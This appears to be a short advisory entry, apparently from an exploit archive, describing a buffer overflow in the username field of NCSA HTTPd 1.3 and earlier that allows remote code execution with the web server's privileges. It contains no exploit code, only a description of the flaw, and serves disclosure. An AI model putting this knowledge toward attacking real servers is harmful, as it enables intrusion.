NCSA httpd 1.x - Buffer Overflow Vulnerability (1)



source: http://www.securityfocus.com/bid/3158/info


NCSA HTTPd is a free, open-source web server for *nix systems.

NCSA HTTPd versions 1.3 and earlier are prone to an exploitable buffer overflow(in the username field) which will allow malicious remote users to execute arbitrary code with the privileges of the webserver process.

Successful exploitation of this vulnerability will allow a remote attacker to gain local access to the host.
